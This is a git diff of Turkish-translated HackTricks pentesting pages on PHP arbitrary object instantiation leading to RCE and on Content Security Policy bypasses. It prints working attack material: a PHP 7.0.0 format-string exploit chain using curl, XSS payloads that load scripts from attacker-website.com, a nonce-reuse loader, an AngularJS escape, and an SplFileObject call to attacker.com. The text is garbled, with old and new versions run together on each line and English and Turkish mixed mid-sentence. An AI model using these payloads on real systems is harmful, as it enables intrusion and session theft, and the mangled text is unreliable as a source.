`new $_GET["a"]($_GET["a"])` gibi yeni rastgele nesnelerin oluşturulması, [**yazım**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)da detaylandırıldığı gibi, Uzaktan Kod Yürütme (RCE) ile sonuçlanabilir. Bu belge, RCE elde etme için çeşitli stratejileri vurgulamaktadır. new sorgusuna benzer keyfi nesnelerin oluşturulması, örneğin `new $_GET["a"]($_GET["a"])`, Remote Code Execution (RCE)'ye yol açabilir; detaylar bir [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) içinde ele alınmıştır. Bu doküman RCE elde etmek için çeşitli stratejileri öne çıkarır.
## Özel Sınıflar veya Otomatik Yükleme ile RCE ## RCE via Custom Classes or Autoloading
`new $a($b)` sözdizimi, **`$a`** sınıf adını ve **`$b`** yapıcıya geçirilen ilk argümanı temsil eden bir nesne oluşturmak için kullanılır. Bu değişkenler, GET/POST gibi kullanıcı girdilerinden, string veya dizi olarak veya JSON'dan, diğer türler olarak elde edilebilir. `new $a($b)` sözdizimi, bir nesne oluşturmak için kullanılır; burada **`$a`** sınıf adını, **`$b`** ise konstruktöre geçirilen ilk argümanı temsil eder. Bu değişkenler GET/POST gibi kullanıcı girdilerinden gelebilir (string veya dizi olabilirler) veya JSON'dan geliyorlarsa farklı türlerde olabilirler.
Aşağıdaki kod parçasını düşünün: Aşağıdaki kod parçasını inceleyin:
```php ```php
class App { class App {
function __construct ($cmd) { function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b); new $a($b);
``` ```
Bu durumda, `$a`'yı `App` veya `App2` ve `$b`'yi bir sistem komutuna (örneğin, `uname -a`) ayarlamak, o komutun çalıştırılmasına neden olur. Bu durumda, `$a`'yı `App` veya `App2`'ye ve `$b`'yi bir sistem komutuna (ör. `uname -a`) ayarlamak, o komutun çalıştırılmasına neden olur.
**Otomatik yükleme fonksiyonları**, doğrudan erişilebilen böyle sınıflar yoksa istismar edilebilir. Bu fonksiyonlar, ihtiyaç duyulduğunda dosyalardan sınıfları otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır: **Autoloading functions** doğrudan erişilebilir sınıflar yoksa istismar edilebilir. Bu fonksiyonlar ihtiyaç duyulduğunda sınıfları dosyalardan otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır:
```php ```php
spl_autoload_register(function ($class_name) { spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php'; include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';
spl_autoload_register(); spl_autoload_register();
``` ```
Otomatik yüklemenin davranışı PHP sürümlerine göre değişiklik gösterir ve farklı RCE olasılıkları sunar. Autoloading davranışı PHP sürümlerine göre değişir ve farklı RCE imkanları sunar.
## Yerleşik Sınıflar ile RCE ## RCE aracılığıyla Yerleşik Sınıflar
Özel sınıflar veya otomatik yükleyiciler yoksa, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve uzantılara bağlı olarak 100 ile 200 arasında değişir. `get_declared_classes()` kullanılarak listelenebilirler. Özel sınıflar veya autoloader'lar yoksa, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve eklentilere bağlı olarak 100 ila 200 arasında değişir. `get_declared_classes()` kullanılarak listelenebilirler.
İlgili yapıcılar, aşağıdaki örnekte ve bağlantıda gösterildiği gibi, yansıma API'si aracılığıyla tanımlanabilir: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). İlgili constructor'lar reflection API kullanılarak tespit edilebilir, aşağıdaki örnekte ve şu linkte gösterildiği gibi: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**Belirli yöntemler aracılığıyla RCE şunları içerir:** **RCE via specific methods includes:**
### **SSRF + Phar Deserialization** ### **SSRF + Phar Deserialization**
`SplFileObject` sınıfı, yapıcısı aracılığıyla SSRF'yi etkinleştirir ve herhangi bir URL'ye bağlantılara izin verir: `SplFileObject` sınıfı constructor'ı üzerinden SSRF'ye izin verir, herhangi bir URL'ye bağlantılara olanak tanır:
```php ```php
new SplFileObject('http://attacker.com/'); new SplFileObject('http://attacker.com/');
``` ```
SSRF, Phar protokolünü kullanan PHP'nin 8.0'dan önceki sürümlerinde deserialization saldırılarına yol açabilir. SSRF, Phar protocol kullanılarak PHP 8.0'dan önceki sürümlerde deserialization attacks'e yol açabilir.
### **PDO'ların Sömürülmesi** ### **Exploiting PDOs**
PDO sınıfı yapıcı, DSN dizeleri aracılığıyla veritabanlarına bağlantılara izin verir, bu da dosya oluşturma veya diğer etkileşimleri mümkün kılabilir: PDO class constructor, DSN strings aracılığıyla veritabanlarına bağlantılara izin verir, potansiyel olarak dosya oluşturma veya diğer etkileşimleri mümkün kılabilir:
```php ```php
new PDO("sqlite:/tmp/test.txt") new PDO("sqlite:/tmp/test.txt")
``` ```
### **SoapClient/SimpleXMLElement XXE** ### **SoapClient/SimpleXMLElement XXE**
PHP'nin 5.3.22 ve 5.4.12 sürümleri, `SoapClient` ve `SimpleXMLElement` yapıcıları aracılığıyla XXE saldırılarına karşı hassastı, bu durum libxml2 sürümüne bağlıydı. PHP'in 5.3.22 ve 5.4.12'ye kadar olan sürümleri, libxml2 sürümüne bağlı olarak `SoapClient` ve `SimpleXMLElement` yapıcıları aracılığıyla XXE saldırılarına açıktı.
## RCE via Imagick Extension ## RCE via Imagick Extension
**Projenin bağımlılıkları** analizi sırasında, **Imagick**'in yeni nesne örnekleri oluşturarak **komut yürütme** için kullanılabileceği keşfedildi. Bu, güvenlik açıklarını istismar etme fırsatı sunar. Bir **projenin bağımlılıklarının** analizinde, yeni nesneler oluşturularak **Imagick**'in **komut yürütme** için kullanılabileceği keşfedildi. Bu, zafiyetleri istismar etme fırsatı sunar.
### VID parser ### VID parser
Dosya sisteminde belirtilen herhangi bir yola içerik yazma yeteneğine sahip VID parser'ın varlığı tespit edildi. Bu, web erişimine açık bir dizine bir PHP shell yerleştirilmesine yol açabilir ve Uzak Kod Yürütme (RCE) sağlanabilir. VID parser'ın dosya sisteminde belirtilen herhangi bir yola içerik yazabilme yeteneği tespit edildi. Bu, web'den erişilebilir bir dizine bir PHP shell yerleştirilmesine ve Remote Code Execution (RCE) elde edilmesine yol açabilir.
#### VID Parser + File Upload #### VID Parser + File Upload
PHP'nin yüklenen dosyaları geçici olarak `/tmp/phpXXXXXX` dizininde sakladığı belirtilmiştir. Imagick'teki VID parser, **msl** protokolünü kullanarak dosya yollarında joker karakterleri işleyebilir ve geçici dosyayı seçilen bir konuma taşıyabilir. Bu yöntem, dosya sisteminde keyfi dosya yazma elde etmek için ek bir yaklaşım sunar. PHP'nin yüklenen dosyaları geçici olarak `/tmp/phpXXXXXX` içinde tuttuğu not edilmiştir. Imagick'teki VID parser, **msl** protokolünü kullanarak dosya yollarında wildcard'ları işleyebilir ve geçici dosyanın seçilen bir konuma aktarılmasını kolaylaştırır. Bu yöntem, dosya sistemi içinde keyfi dosya yazma sağlamak için ek bir yol sunar.
### PHP Crash + Brute Force ### PHP Crash + Brute Force
[**orijinal yazımda**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) tanımlanan bir yöntem, silinmeden önce bir sunucu çökmesine neden olan dosyaların yüklenmesini içerir. Geçici dosyanın adını brute-force ile tahmin ederek, Imagick'in keyfi PHP kodu yürütmesi mümkün hale gelir. Ancak, bu tekniğin yalnızca eski bir ImageMagick sürümünde etkili olduğu bulunmuştur. [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)'da açıklanan bir yöntem, silinmeden önce sunucu çökmesine yol açan dosyaların yüklenmesini içerir. Geçici dosyanın adını brute-force ile tahmin ederek, Imagick'in keyfi PHP kodu çalıştırması mümkün olabilir. Ancak bu teknik yalnızca eski bir ImageMagick sürümünde etkili bulunmuştur.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Kullanıcı girdisi sınıf adını kontrol ettiğinde (ör. `new $_GET['model']()`), PHP 7.0.0 `Throwable` yeniden düzenlemesi sırasında geçici bir hata getirdi; motor sınıf adını çözümleme sırasında yanlışlıkla bir printf format stringi olarak ele aldı. Bu, PHP içinde klasik printf-tarzı ilkel işlemleri mümkün kılar: `%p` ile leaks, genişlik belirticileriyle yazma-sayısı kontrolü ve işlem içi pointer'lara (örneğin ELF derlemelerdeki GOT girdilerine) karşı `%n` ile rastgele yazmalar.
Minimal repro zafiyet deseni:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
İstismar özeti (kaynak referanstan):
- Sınıf adında `%p` kullanarak adresleri Leak ederek yazılabilir bir hedef bulun:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Tam bir byte sayısı ayarlamak için pozisyonel parametreler ve genişlik belirticileri kullanın, sonra `%n` ile bu değeri stack'te erişilebilir bir adrese yazın; hedef olarak bir GOT slotunu (ör. `free`) seçip kısmi overwrite ile `system`'e yönlendirin.
- Bir class adı içinde shell pipe bulunan bir değer geçirerek ele geçirilmiş fonksiyonu tetikleyin ve `system("id")`'ye ulaşın.
Notlar:
- Yalnızca PHP 7.0.0'da çalışır (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); sonraki sürümlerde düzeltildi. Ciddiyet: eğer keyfi class instantiation mümkünse kritik.
- Tipik payload'lar stack'i gezmek için birçok `%p` zincirler, sonra kısmi overwrite'ı gerçekleştirmek için `%.<width>d%<pos>$n` kullanırlar.
## References ## References
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

382
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -1,31 +1,31 @@
# Content Security Policy (CSP) Bypass # İçerik Güvenlik Politikası (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## CSP Nedir ## CSP Nedir
Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodun çalıştırılmasını içerir. Content Security Policy (CSP), öncelikle cross-site scripting (XSS) gibi saldırılara karşı korunmayı amaçlayan bir tarayıcı teknolojisi olarak kabul edilir. Tarayıcıların güvenli bir şekilde yükleyebileceği kaynakların hangi yollar ve hangi kaynaklardan geleceğini tanımlayıp detaylandırarak çalışır. Bu kaynaklar resimler, frame'ler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika aynı alanın (self) kaynaklarının yüklenmesine ve yürütülmesine izin verebilir; buna satır içi kaynaklar ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlarla string kod yürütme dahildir.
CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller. CSP'nin uygulanması **response headers** aracılığıyla veya HTML sayfasına **meta elements** eklenerek yapılır. Bu politikayı takiben, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen herhangi bir ihlali hemen engeller.
- Yanıt başlığı aracılığıyla uygulanır: - Yanıt başlığı aracılığıyla uygulanır:
``` ```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
``` ```
- Meta etiketi aracılığıyla uygulandı: - Meta etiketi ile uygulanır:
```xml ```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
``` ```
### Headers ### Başlıklar
CSP bu başlıklar kullanılarak uygulanabilir veya izlenebilir: CSP bu header'lar kullanılarak uygulanabilir veya izlenebilir:
- `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller. - `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller.
- `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir. - `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test için idealdir.
### Defining Resources ### Kaynakların Tanımlanması
CSP, hem aktif hem de pasif içeriğin yüklenmesi için kökenleri kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika: CSP, hem aktif hem de pasif içeriğin yüklenebileceği origin'leri kısıtlar; satır içi JavaScript çalıştırma ve `eval()` kullanımı gibi öğeleri kontrol eder. Örnek bir politika şu şekildedir:
```bash ```bash
default-src 'none'; default-src 'none';
img-src 'self'; img-src 'self';
@ -39,42 +39,42 @@ object-src 'none';
``` ```
### Direktifler ### Direktifler
- **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi scriptler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen scriptler dahil. - **script-src**: JavaScript için URL'ler, inline scriptler ve olay işleyicileri veya XSLT stylesheet'leri tarafından tetiklenen scriptler dahil olmak üzere belirli kaynaklara izin verir.
- **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler. - **default-src**: Belirli fetch direktifleri yoksa kaynakların alınması için varsayılan bir politika belirler.
- **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir. - **child-src**: web worker'lar ve gömülü frame içeriği için izin verilen kaynakları belirtir.
- **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar. - **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
- **frame-src**: Çerçeveler için URL'leri kısıtlar. - **frame-src**: frame'ler için URL'leri kısıtlar.
- **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğelere uygulanır. - **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir; `<frame>`, `<iframe>`, `<object>`, `<embed>`, ve `<applet>` gibi öğelere uygulanır.
- **img-src**: Resimler için izin verilen kaynakları tanımlar. - **img-src**: Görüntüler için izin verilen kaynakları tanımlar.
- **font-src**: `@font-face` kullanılarak yüklenen fontlar için geçerli kaynakları belirtir. - **font-src**: `@font-face` kullanılarak yüklenen fontlar için geçerli kaynakları belirtir.
- **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar. - **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
- **media-src**: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar. - **media-src**: Medya nesnelerinin yüklenmesi için izin verilen kaynakları tanımlar.
- **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar. - **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar.
- **base-uri**: `<base>` öğeleri kullanarak yükleme için izin verilen URL'leri belirtir. - **base-uri**: `<base>` öğeleri kullanılarak yükleme için izin verilen URL'leri belirtir.
- **form-action**: Form gönderimleri için geçerli uç noktaları listeler. - **form-action**: Form gönderimleri için geçerli uç noktaları listeler.
- **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar. - **plugin-types**: Bir sayfanın çağırabileceği mime tiplerini kısıtlar.
- **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS'ye yeniden yazmalarını talimat verir. - **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS'e yeniden yazmasını söyler.
- **sandbox**: `<iframe>`'in sandbox niteliğine benzer kısıtlamalar uygular. - **sandbox**: `<iframe>`'in sandbox özniteliğine benzer kısıtlamalar uygular.
- **report-to**: Politika ihlal edilirse bir raporun gönderileceği grubu belirtir. - **report-to**: Politika ihlal edilirse raporun gönderileceği grubu belirtir.
- **worker-src**: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir. - **worker-src**: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.
- **prefetch-src**: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir. - **prefetch-src**: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.
- **navigate-to**: Bir belgenin herhangi bir şekilde (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar. - **navigate-to**: Bir belgenin her türlü yöntemle (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.
### Kaynaklar ### Kaynaklar
- `*`: `data:`, `blob:`, `filesystem:` şemaları dışındaki tüm URL'lere izin verir. - `*`: `data:`, `blob:`, `filesystem:` şemaları dışındaki tüm URL'lere izin verir.
- `'self'`: Aynı alan adından yüklemeye izin verir. - `'self'`: Aynı alan adından yüklemeye izin verir.
- `'data'`: Veriler şeması aracılığıyla kaynakların yüklenmesine izin verir (örneğin, Base64 kodlu resimler). - `'data'`: data şeması üzerinden kaynakların yüklenmesine izin verir (ör. Base64 kodlu görüntüler).
- `'none'`: Herhangi bir kaynaktan yüklemeyi engeller. - `'none'`: Herhangi bir kaynaktan yüklemeyi engeller.
- `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanılmasına izin verir, güvenlik nedenleriyle önerilmez. - `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanımına izin verir, güvenlik nedenleriyle önerilmez.
- `'unsafe-hashes'`: Belirli satır içi olay işleyicilerini etkinleştirir. - `'unsafe-hashes'`: Belirli inline event handler'ları etkinleştirir.
- `'unsafe-inline'`: Satır içi `<script>` veya `<style>` gibi satır içi kaynakların kullanılmasına izin verir, güvenlik nedenleriyle önerilmez. - `'unsafe-inline'`: inline `<script>` veya `<style>` gibi inline kaynakların kullanımına izin verir, güvenlik nedeniyle önerilmez.
- `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli satır içi scriptler için bir beyaz liste. - `'nonce'`: kriptografik bir nonce (bir kez kullanılan sayı) kullanan belirli inline scriptler için bir beyaz liste.
- JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür `doc.defaultView.top.document.querySelector("[nonce]")` ile ve ardından kötü niyetli bir script yüklemek için yeniden kullanılabilir (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin: - If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details> <details>
<summary>Nonce'i yeniden kullanarak script yükle</summary> <summary>Nonce'i yeniden kullanarak script yükleme</summary>
```html ```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ --> <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img <img
@ -88,26 +88,27 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
``` ```
</details> </details>
- `'sha256-<hash>'`: Belirli bir sha256 hash'ine sahip scriptleri beyaz listeye alır. - `'sha256-<hash>'`: Belirli bir sha256 hash'i olan scriptleri beyaz listeye alır.
- `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alınmışsa, herhangi bir kaynaktan script yüklenmesine izin verir. - `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alınmışsa herhangi bir kaynaktan script yüklenmesine izin verir.
- `'host'`: `example.com` gibi belirli bir hostu belirtir. - `'host'`: Belirli bir host belirtir, örneğin `example.com`.
- `https:`: URL'leri yalnızca HTTPS kullananlarla kısıtlar. - `https:`: URL'leri HTTPS kullananlarla sınırlar.
- `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir. - `blob:`: Kaynakların Blob URL'lerinden yüklenmesine izin verir (ör. JavaScript ile oluşturulan Blob URL'leri).
- `filesystem:`: Kaynakların dosya sisteminden yüklenmesine izin verir. - `filesystem:`: Kaynakların filesystem'ten yüklenmesine izin verir.
- `'report-sample'`: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için yararlıdır). - `'report-sample'`: İhlal raporuna ihlali tetikleyen koddan bir örnek ekler (hata ayıklama için faydalıdır).
- `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belge ile eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir). - `'strict-origin'`: 'self' ile benzerdir ancak kaynakların protokol güvenlik düzeyinin belgeyle eşleşmesini sağlar (sadece güvenli origin'ler güvenli origin'lerden kaynak yükleyebilir).
- `'strict-origin-when-cross-origin'`: Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir. - `'strict-origin-when-cross-origin'`: Aynı-origin istekleri yaparken tam URL'leri gönderir, ancak cross-origin isteklerde yalnızca origin'i gönderir.
- `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez. - `'unsafe-allow-redirects'`: Başka bir kaynağa hemen yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.
## Güvensiz CSP Kuralları ## Güvenli Olmayan CSP Kuralları
### 'unsafe-inline' ### 'unsafe-inline'
```yaml ```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline'; Content-Security-Policy: script-src https://google.com 'unsafe-inline';
``` ```
Çalışan yük: `"/><script>alert(1);</script>` Çalışan payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' ile Iframes
#### self + 'unsafe-inline' Iframe'lar aracılığıyla
{{#ref}} {{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md csp-bypass-self-+-unsafe-inline-with-iframes.md
@ -115,68 +116,68 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval' ### 'unsafe-eval'
> [!DİKKAT] > [!CAUTION]
> Bu çalışmıyor, daha fazla bilgi için [**bunu kontrol et**](https://github.com/HackTricks-wiki/hacktricks/issues/653). > Bu çalışmıyor, daha fazla bilgi için [**buraya bakın**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml ```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval'; Content-Security-Policy: script-src https://google.com 'unsafe-eval';
``` ```
Çalışan yük: Çalışan payload:
```html ```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
``` ```
### strict-dynamic ### strict-dynamic
Eğer bir şekilde **izin verilen JS kodu DOM'da yeni bir script etiketi oluşturabiliyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**. Eğer bir şekilde **izin verilen bir JS kodunun yeni bir script tag oluşturmasını** sağlayabilirseniz (çünkü izin verilen bir script bunu oluşturuyor), DOM'da JS kodunuzla oluşturulan **yeni script taginin çalıştırılmasına izin verilecektir**.
### Wildcard (*) ### Wildcard (\*)
```yaml ```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *; Content-Security-Policy: script-src 'self' https://google.com https: data *;
``` ```
Çalışan yük: Çalışan payload:
```html ```html
"/>'><script src=https://attacker-website.com/evil.js></script> "/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script> "/>'><script src=data:text/javascript,alert(1337)></script>
``` ```
### object-src ve default-src eksikliği ### object-src ve default-src eksikliği
> [!CAUTION] > **Görünüşe göre bu artık çalışmıyor** > [!CAUTION] > **Artık çalışmıyor gibi görünüyor**
```yaml ```yaml
Content-Security-Policy: script-src 'self' ; Content-Security-Policy: script-src 'self' ;
``` ```
Çalışan yükler: Çalışan payloads:
```html ```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'> ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object> <param name="AllowScriptAccess" value="always"></object>
``` ```
### Dosya Yükleme + 'self' ### File Upload + 'self'
```yaml ```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ; Content-Security-Policy: script-src 'self'; object-src 'none' ;
``` ```
Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz: Eğer bir JS dosyası yükleyebiliyorsanız bu CSP'yi bypass edebilirsiniz:
Çalışan yük: Çalışan payload:
```html ```html
"/>'><script src="/uploads/picture.png.js"></script> "/>'><script src="/uploads/picture.png.js"></script>
``` ```
Ancak, sunucunun **yüklenen dosyayı doğrulama** olasılığı oldukça yüksektir ve yalnızca **belirli türde dosyaların yüklenmesine** izin verecektir. However, it's highly probable that the server is **yüklenen dosyayı doğruluyor olması** and will only allow you to **belirli türde dosyaların yüklenmesine izin vermesi**.
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içinde **JS kodu yükleyebilseniz bile** (örneğin: _script.png_), bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde Javascript kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını bilmemektedir, bu nedenle onu **audio/\*** gibi bir **MIME türüyle sunmaz**. Moreover, even if you could upload a **JS kodu yerleştirebilseniz** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **dosyanın MIME türünü uzantısına göre seçer** and browsers like Chrome will **Javascript'i çalıştırmayı reddeder** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache bilmiyor** the _**.wave**_ extension, therefore it doesn't serve it with a **audio/*** gibi bir MIME tipiyle.
Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz ([bazı polyglot örnekleri burada](https://github.com/Polydet/polyglot-database)). From here, if you find a XSS and a file upload, and you manage to find a **yanlış yorumlanan uzantı**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action ### Form-action
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). [**Bu raporda bir örnek bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın. If not possible to inject JS, you could still try to exfiltrate for example credentials **form action enjekte ederek** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
### Üçüncü Taraf Uç Noktaları + ('unsafe-eval') ### Third Party Endpoints + ('unsafe-eval')
> [!WARNING] > [!WARNING]
> Aşağıdaki bazı yükler için **`unsafe-eval` bile gerekli değildir**. > For some of the following payload **`unsafe-eval` bile gerekli değil**.
```yaml ```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
``` ```
Açık bir sürümünü yükleyin angular ve rastgele JS çalıştırın: Zafiyeti olan bir angular sürümünü yükleyin ve keyfi JS çalıştırın:
```xml ```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
